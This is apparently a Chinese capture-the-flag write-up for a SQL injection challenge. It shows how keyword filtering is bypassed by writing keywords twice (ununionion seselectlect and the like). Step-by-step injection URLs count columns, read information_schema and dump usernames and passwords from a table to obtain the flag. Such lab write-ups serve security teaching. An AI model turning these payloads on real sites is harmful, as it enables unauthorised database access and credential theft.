又是你,还来?好好好
依旧老方法,先试探一手
你有一个错误在你的SQL语法;检查与您的MariaDB服务器版本对应的手册,以便在第1行'1=1#'和password='1 "附近使用正确的语法
看来是or被过滤了,试试双写
双写可以绕过,这下就好办了,后面遇到同样被过滤的词,直接双写就了
/check.php?username=1'oorrder bbyy 1%23&password=1'
/check.php?username=1'oorrder bbyy 2%23&password=1'
/check.php?username=1'oorrder bbyy 3%23&password=1'
/check.php?username=1'oorrder bbyy 4%23&password=1'需要双写or和by
字段为1,2,3的时候页面显示为
字段为4报错
/check.php?username=1'ununionion seselectlect 1,2,3%23&password=1'
需要双写union和select
可以再页面上返回信息的是2,3字段
/check.php?username=1'ununionion seselectlect 1,user(),database()%23&password=1'
需要双写union和select
/check.php?username=1'ununionion seselectlect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema=database()%23&password=1'
需要双写union、select、from、or、where
/check.php?username=1'ununionion seselectlect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_schema=database() anandd table_name='b4bsql'%23&password=1'
双写union、select、from、or、where、and
/check.php?username=1'ununionion seselectlect 1,2,group_concat(id,username,passwoorrd) frfromom b4bsql%23&password=1
双写union、select、or、from
flag网页中显示并不完整,打开Shift+F12打开源码就能看到完整的flag